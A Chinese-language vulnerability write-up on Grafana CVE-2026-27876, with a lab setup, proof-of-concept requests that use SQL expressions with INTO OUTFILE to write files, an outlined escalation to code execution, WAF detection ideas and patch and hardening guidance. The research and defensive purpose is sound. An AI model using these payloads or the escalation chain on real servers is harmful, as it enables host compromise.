1. 项目概述如果你正在使用Grafana来监控你的服务器、数据库或者业务指标那么最近爆出的CVE-2026-27876这个漏洞你绝对不能掉以轻心。这不是一个普通的权限绕过或者信息泄露而是一个能导致远程代码执行的高危漏洞。简单来说一个拥有数据源查询权限的攻击者可以通过构造特定的SQL表达式在Grafana服务器上写入任意文件进而可能完全控制这台主机。我花了几天时间在可控的测试环境中对这个漏洞进行了概念验证和深度分析发现其背后的成因比想象中更值得玩味——它并非一个简单的SQL注入而是功能特性、安全边界假设和底层引擎交互之间出现的“预期差”导致的。这篇文章我会带你从零开始搭建一个漏洞环境一步步拆解攻击链并深入源码层面看看这个“任意文件写入”究竟是如何突破层层“只读”限制的。无论你是负责运维Grafana的工程师还是对应用安全研究感兴趣的安全从业者理解这个漏洞的来龙去脉对于加固你的系统或提升安全认知都至关重要。2. 环境搭建与漏洞复现准备2.1 漏洞环境快速部署要研究漏洞首先得有一个“活靶子”。官方公告影响Grafana 12.4.1及之前的部分版本并且需要开启sqlExpressions这个实验性功能。我选择使用Docker Compose来快速搭建一个可复现的环境这样既干净又便于销毁。核心配置文件docker-compose.ymlversion: 3.8 services: grafana: image: grafana/grafana:12.4.1 container_name: grafana-vuln ports: - 3000:3000 environment: - GF_SECURITY_ADMIN_USERadmin - GF_SECURITY_ADMIN_PASSWORDadmin # 关键漏洞前提必须启用sqlExpressions功能开关 - GF_FEATURE_TOGGLES_ENABLEsqlExpressions volumes: - grafana-storage:/var/lib/grafana volumes: grafana-storage:这里有几个关键点需要注意镜像版本我们使用了明确存在漏洞的grafana/grafana:12.4.1。你也可以尝试其他受影响版本如12.3.x系列。功能开关GF_FEATURE_TOGGLES_ENABLEsqlExpressions是触发漏洞的必要条件。这个环境变量告诉Grafana启用服务器端SQL表达式功能。在生产环境中如果未显式开启此功能则默认不受此漏洞影响。数据持久化我们挂载了一个名为grafana-storage的卷到/var/lib/grafana这是Grafana存储仪表盘、用户数据等配置的地方。在后续的漏洞利用链中攻击者写入的文件也可能落在这个目录或其子目录下。使用docker-compose up -d启动服务后访问http://localhost:3000用admin/admin登录我们的漏洞环境就准备就绪了。2.2 理解攻击面与前置条件在开始“攻击”之前我们必须清楚漏洞利用的门槛在哪里。CVE-2026-27876不是一个可以“匿名”利用的漏洞它有着明确的前置条件。攻击者需要具备的权限有效的身份认证攻击者必须能够通过Grafana的认证。这可以是一个有效的用户会话Cookie。一个拥有数据源查询权限的API密钥API Key。一个服务账户令牌Service Account Token。数据源查询权限该身份需要对至少一个数据源拥有“查询”Query权限。在Grafana中这通常意味着是某个组织的Viewer或以上角色的用户。系统环境需要满足的条件Grafana版本在受影响范围内如12.4.1。功能开关如上所述启用了sqlExpressions。潜在的二次利用组件用于RCE这是将“文件写入”升级为“代码执行”的关键。根据官方公告漏洞链可能涉及Sqlyze驱动这是一个企业版插件或相关组件如果其驱动文件路径可被Grafana进程写入则可能被恶意文件覆盖。AWS数据源配置Grafana的AWS数据源插件可能会读取特定路径的配置文件如果该路径可写则可能被植入恶意配置。重要提示我的测试环境为了纯粹性没有安装Sqlyze或配置AWS数据源。因此本文的复现将聚焦于漏洞的核心环节——“任意文件写入”的验证。我会通过写入一个测试文件到容器内部来证明文件写入能力是真实存在的。而后续的RCE链由于缺少企业版组件属于“概念性”推演但我会结合官方描述和代码逻辑详细说明其可行性。3. 漏洞手动复现与流量分析3.1 场景A验证SQL表达式注入点我们的第一步是确认我们能否通过认证的API将我们控制的SQL表达式字符串送入Grafana的服务端处理管道。这里的目标不是直接写文件而是先走通整个查询请求的流程。步骤分解获取认证凭证登录Grafana后台通过浏览器开发者工具F12 - Network抓取一个任意查询请求复制其中的grafana_sessionCookie值。或者在“Configuration - API Keys”中创建一个拥有Admin权限的API Key后续在请求头中使用Authorization: Bearer your-api-key。准备一个基础数据源为了构造合法的查询请求我们需要一个正常的数据源作为“数据输入”。在Grafana中添加一个“TestData DB”数据源这是内置的模拟数据源记下它的UID在数据源设置页面URL中或JSON模型里可以看到。构造攻击Payload漏洞触发的核心在于向/api/ds/query接口发送一个特殊的JSON请求体。这个请求体需要包含至少两个查询queries数组refId: “A”一个来自普通数据源如TestData的合法查询用于提供数据帧Data Frames。refId: “B”一个数据源类型datasource.type为__expr__的查询并且其type字段设置为”sql”expression字段放入我们想要测试的SQL语句。一个用于验证的示例Payloadcurl -X POST http://localhost:3000/api/ds/query \ -H “Content-Type: application/json” \ -H “Cookie: grafana_sessionYOUR_SESSION_COOKIE_HERE” \ -d ‘{ “from”: “now-1h”, “to”: “now”, “queries”: [ { “refId”: “A”, “datasource”: { “type”: “grafana-testdata-datasource”, “uid”: “PE9F52A8F2E620CFA” // 替换为你的TestData数据源UID }, “scenarioId”: “random_walk”, “intervalMs”: 1000, “maxDataPoints”: 100 }, { “refId”: “B”, “datasource”: { “uid”: “__expr__”, “type”: “__expr__” }, “type”: “sql”, “expression”: “SELECT * FROM A LIMIT 5” // 这是一个无害的测试语句查询A的结果 } ] }’如果请求成功你会收到一个JSON响应其中会包含refId为B的查询结果这表明我们的SQL表达式SELECT * FROM A LIMIT 5已经被服务端成功接收、解析并执行。这证明了__expr__type:sql这个攻击面是打开的。3.2 场景B实现任意文件写入验证现在我们来验证漏洞的核心——文件写入。在MySQL中SELECT … INTO OUTFILE语句可以将查询结果写入服务器文件系统。虽然Grafana的SQL引擎go-mysql-server在创建时设置了IsReadOnly: true但漏洞版本中某些语义路径可能绕过了这个限制。为了验证我们需要一个允许文件操作的数据源作为“跳板”。我选择在Docker环境中启动一个MySQL容器并将其配置为允许SELECT … INTO OUTFILE通过设置secure_file_priv’’然后将其添加为Grafana的数据源。步骤分解启动一个不安全的MySQL测试容器docker run -d --name mysql-for-test \ -e MYSQL_ROOT_PASSWORDroot \ -e MYSQL_DATABASEtestdb \ mysql:8.0 \ --secure-file-priv””关键参数--secure-file-priv””允许向任意可写路径执行INTO OUTFILE。在Grafana中添加MySQL数据源使用上述容器的IP可用docker inspect获取或使用host.docker.internal和凭证进行配置。构造文件写入Payload这次我们将refId: “A”的数据源换成这个MySQL数据源并在refId: “B”的SQL表达式中尝试通过INTO OUTFILE将数据写入容器内的一个文件。文件写入Payload示例{ “from”: “now-1h”, “to”: “now”, “queries”: [ { “refId”: “A”, “datasource”: { “type”: “mysql”, “uid”: “MYSQL_DS_UID” // 替换为你的MySQL数据源UID }, “rawSql”: “SELECT ‘VULNERABLE!’ as test_column”, “format”: “table” }, { “refId”: “B”, “datasource”: { “uid”: “__expr__”, “type”: “__expr__” }, “type”: “sql”, “expression”: “SELECT * FROM A INTO OUTFILE ‘/tmp/grafana_hacked.txt’” } ] }发送这个请求。如果漏洞存在这个请求不会在响应中直接返回文件内容通常会是一个错误或空响应因为INTO OUTFILE不返回结果集给客户端但文件可能已经写入。验证文件是否写入进入Grafana容器内部检查。docker exec -it grafana-vuln bash ls -la /tmp/grafana_hacked.txt cat /tmp/grafana_hacked.txt如果看到文件内容为VULNERABLE!那么恭喜你已经成功复现了CVE-2026-27876的核心漏洞——通过SQL表达式实现了任意文件写入。实操心得在实际测试中你可能会遇到权限错误。因为Grafana容器进程通常以用户grafana运行需要对目标路径有写权限。/tmp目录通常是全局可写的因此是理想的测试目标。在生产环境中攻击者会寻找Grafana进程有写权限的目录例如其数据目录/var/lib/grafana下的子目录、插件目录或临时目录。3.3 复现流量特征与WAF/IDS规避思考作为防御方了解攻击流量特征至关重要。从上面的复现过程我们可以提取出关键特征供WAF或IDS规则参考请求路径POST /api/ds/query。在Kubernetes环境中如果启用了相关特性路径可能被重写为类似/apis/query.grafana.app/v0alpha1/namespaces/org-namespace/query的形式。请求体特征queries数组中至少有一个对象的datasource包含”uid”: “__expr__”和”type”: “__expr__”。同一个查询对象中”type”: “sql”字段必须存在。expression字段中包含敏感的SQL关键字组合如INTO OUTFILE、INTO DUMPFILE、LOAD_FILE虽然可能被白名单拦截但仍需警惕等特别是这些关键字与文件路径如/tmp/、/var/lib/、.so、.jar、.ini、.json结合时。一个简化的检测规则思路伪代码if request.path matches ‘(/api/ds/query|/apis/query\.grafana\.app/)’: if request.body contains ‘”__expr__”’ and ‘”type”:”sql”’: expression extract_expression_field(request.body) if expression contains (‘INTO OUTFILE’, ‘INTO DUMPFILE’) and (‘/’, ‘\\’, ‘.so’, ‘.dll’, ‘.conf’): raise SecurityAlert(“Potential CVE-2026-27876 Exploit Attempt”)注意事项直接阻断所有包含__expr__的请求可能会影响合法使用该功能的业务。更精细的做法是结合用户行为基线普通用户突然发送复杂SQL表达式、表达式复杂度分析以及目标文件路径的危险性进行综合评分和告警。4. 漏洞原理深度剖析4.1 入口定位谁放行了SQL表达式漏洞的起点在于Grafana的服务器端表达式Server-Side Expressions, SSE功能。当我们在请求中指定数据源为__expr__且type为sql时Grafana会尝试构建一个SQLCommand。在源码pkg/expr/nodes.go中构建命令时有明确的特性开关检查if commandType TypeSQL { //nolint:staticcheck if !toggles.IsEnabledGlobally(featuremgmt.FlagSqlExpressions) { return nil, fmt.Errorf(“sql expressions are disabled”) } }这说明sqlExpressions功能开关是SQL表达式能力的唯一总闸。只要管理员开启了它就为后续的漏洞利用打开了第一道门。这里的预期是开启功能是为了允许用户在面板中进行更强大的数据转换和分析但安全假设是“表达式应在安全沙箱中运行”。4.2 执行路径只读引擎为何失守SQLCommand在执行时pkg/expr/sql_command.go会调用sql.DB.QueryFrames。在这个函数内部存在两道预期的安全防线语法白名单 (AllowQuery)位于pkg/expr/sql/parser_allow.go。它基于Vitess SQL解析器遍历抽象语法树AST只允许预定义的安全节点类型。它的目的是拦截像LOAD_FILE()这样明显的危险函数。只读引擎配置在创建go-mysql-server引擎实例时传入了IsReadOnly: true的配置。engine : sqle.New(a, sqle.Config{ IsReadOnly: true, })理论上这两道防线应该确保SQL表达式只能进行“读”操作无法对底层文件系统进行“写”操作。然而CVE-2026-27876的存在宣告了这个安全模型在特定条件下被打破。问题的关键可能在于“只读”语义的覆盖范围。go-mysql-server的IsReadOnly配置可能主要作用于存储引擎层禁止对“表”数据进行增删改。但对于某些SQL语句如SELECT … INTO OUTFILE其副作用side-effect是写入文件系统这可能被引擎视为一种“输出”或“导出”功能而非对“数据库”的写入从而绕过了只读限制。这暴露了安全边界定义的不清晰。4.3 静态线索白名单中的“INTO”节点深入查看漏洞版本12.4.1的parser_allow.go文件我发现了非常可疑的一处case *sqlparser.Into: return // 直接放行不做任何检查*sqlparser.Into节点对应SQL中的INTO子句这正是SELECT … INTO OUTFILE语句的关键组成部分。在白名单中无条件放行这个节点意味着解析器允许查询中包含INTO语法。对比修复后的版本如12.4.2这里的逻辑被修正了case *sqlparser.Into: // Plain SELECT statements may carry a typed-nil Into pointer. // Reject only when INTO is actually present. return v nil // 只有当v为nil即不存在INTO子句时才放行修复代码的注释也说明了问题普通的SELECT语句可能携带一个类型为*sqlparser.Into但值为nil的指针。漏洞版本的检查逻辑有误导致即使INTO子句真实存在也被错误地放行了。此外修复版本还增加了大量其他函数和节点的白名单这可能是为了在收紧安全的同时不影响合法的表达式功能同时也修补了其他潜在的绕过点。4.4 攻击链路推演从写入到RCE结合官方公告和代码分析完整的攻击链路可以清晰地描绘出来注入攻击者通过认证API向/api/ds/query发送包含恶意expression带INTO OUTFILE的请求。解析与放行请求通过特性开关检查SQLCommand被创建。AllowQuery函数错误地放行了*sqlparser.Into节点。执行与写入go-mysql-server引擎尽管配置了IsReadOnly执行了SELECT … INTO OUTFILE语句。由于引擎对该语句的副作用处理存在缺陷或“只读”配置未涵盖文件系统操作导致查询结果被写入Grafana进程具有写权限的任意路径如/var/lib/grafana/plugins/sqlyze-driver/evil.so或/var/lib/grafana/aws_config.json。二次触发与RCESqlyze驱动覆盖如果环境中安装了Sqlyze插件当下次Grafana加载该驱动时会加载被替换的恶意共享库.so文件导致攻击者代码在Grafana进程上下文中执行。AWS配置注入如果配置了AWS数据源该插件可能会从特定路径读取配置文件。写入恶意的配置文件可能导致插件执行任意命令例如通过篡改credential_process指向攻击者控制的脚本。权限提升与持久化获得Grafana进程权限可能是grafana用户后攻击者可以通过内核漏洞提权、滥用Grafana服务权限访问敏感资源如云元数据服务等方式进一步获取主机SSH权限或建立持久化后门。这个链路揭示了现代应用安全的一个典型问题安全功能的组合并非总是安全的。特性开关、语法白名单、只读引擎每一层看起来都有防护但层与层之间的语义缝隙却被一个“古老”的SQL语句特性所利用。5. 修复方案与加固建议5.1 官方修复与升级最根本的解决方法是升级到已修复的Grafana版本。Grafana Labs已发布了以下安全版本Grafana 12.4.2Grafana 12.3.6Grafana 12.2.8Grafana 12.1.10Grafana 11.6.14升级步骤建议备份当前的Grafana数据和配置文件特别是/var/lib/grafana和/etc/grafana。查阅官方升级指南注意版本间的重大变更。在测试环境先行验证升级流程和业务兼容性。对生产环境进行滚动升级或安排维护窗口进行升级。5.2 临时缓解措施如果无法立即升级可以采取以下措施降低风险禁用危险特性在Grafana配置文件grafana.ini中确保没有启用sqlExpressions功能。[feature_toggles] enable sqlExpressions # 确保此行不存在或值为空重启Grafana服务使配置生效。注意这会禁用所有服务器端SQL表达式功能可能影响依赖此功能的仪表盘。网络层访问控制将Grafana管理界面默认3000端口限制在内部管理网络或VPN中访问。如果必须对外暴露考虑通过反向代理如Nginx添加额外的认证层如HTTP Basic Auth。在防火墙或WAF上针对/api/ds/query路径设置更严格的访问策略例如只允许特定的管理IP段访问。权限最小化运行Grafana服务的操作系统用户如grafana应仅拥有所需的最小权限。避免以root身份运行。使用容器时确保用户非root并限制容器的能力集如使用--cap-dropALL然后添加必要的能力。对Grafana的数据目录和插件目录进行严格的权限控制确保只有Grafana进程用户可写并尽可能减少可写目录的数量。审计与监控启用Grafana的详细日志并监控日志中是否有异常的、包含__expr__和复杂expression的查询请求。使用HIDS主机入侵检测系统监控Grafana进程对敏感路径如插件目录、配置目录的写入行为。检查并更新相关组件如果使用了Sqlyze请将其更新至v1.5.0或更高版本。审查并确保AWS数据源等插件的配置安全避免使用不可信的配置文件路径。5.3 长期安全实践除了应对此特定漏洞一些长期的安全实践能有效提升Grafana部署的整体安全性定期更新订阅Grafana安全公告建立定期更新机制。强化认证启用多因素认证MFA使用强密码策略定期轮换API密钥。遵循最小权限原则在数据源层面为用户分配刚好够用的查询权限避免普通用户拥有管理员权限。隔离部署将Grafana部署在独立的安全域或VPC中与其他业务系统隔离。安全配置基线参考CIS Benchmark等安全配置指南对Grafana进行加固。6. 研究过程中的常见问题与排查在复现和研究这个漏洞的过程中我遇到了不少坑这里记录一下如果你自己动手可能会少走些弯路。问题1请求返回“sql expressions are disabled”错误。原因sqlExpressions功能开关没有正确启用。排查检查docker-compose.yml或环境变量GF_FEATURE_TOGGLES_ENABLE是否包含sqlExpressions。多个特性用逗号分隔。进入Grafana容器检查/etc/grafana/grafana.ini配置文件确认[feature_toggles]部分。通过Grafana的HTTP API查询当前开启的特性curl -H “Authorization: Bearer API_KEY” http://localhost:3000/api/feature-toggles。问题2文件写入Payload执行后返回错误或没有在预期路径找到文件。原因权限不足Grafana进程用户对目标路径没有写权限。尝试写入/tmp或/var/lib/grafana下的子目录。MySQL数据源配置问题secure_file_priv设置不正确或者MySQL用户没有FILE权限。路径不存在容器内目标路径的父目录不存在。排查进入Grafana容器手动尝试touch /target/path测试写权限。在Grafana的“Explore”页面直接使用MySQL数据源执行SELECT … INTO OUTFILE语句看是否成功。查看Grafana日志/var/log/grafana/grafana.log寻找SQL执行错误信息。问题3无法理解或构造正确的查询请求JSON结构。技巧利用浏览器开发者工具在Grafana面板中创建一个使用“Transform data”并选择“SQL expression”的查询然后查看浏览器网络请求中发送的JSON格式这是最标准的模板。查阅Grafana源码pkg/expr目录下的query.go、nodes.go等文件定义了请求和命令的数据结构是终极参考。从简单开始先构造一个能返回正常结果的、最简单的SELECT * FROM A表达式确保通道畅通再逐步替换复杂的expression。问题4WAF或网络设备拦截了攻击请求。现象请求被重置、连接超时或返回非Grafana标准的错误页面。应对在测试环境中暂时禁用WAF或将其置于观察模式。分析WAF日志查看触发了哪条规则。可能需要调整规则或对测试流量加白。尝试对请求体进行轻微变形如调整JSON键的顺序、添加无关字段、使用不同的编码需确保Grafana仍能解析但这主要用于理解WAF行为并非绕过建议。研究这个漏洞让我深刻体会到安全是一个动态的过程。一个精心设计、拥有多层防护的功能也可能因为某一层语义理解的偏差而崩塌。对于运维者及时更新、最小权限、纵深防御是不变的真理对于开发者则需要对任何用户可控的输入、任何具有副作用的操作保持最高级别的警惕安全边界的测试需要覆盖各种意想不到的组合路径。
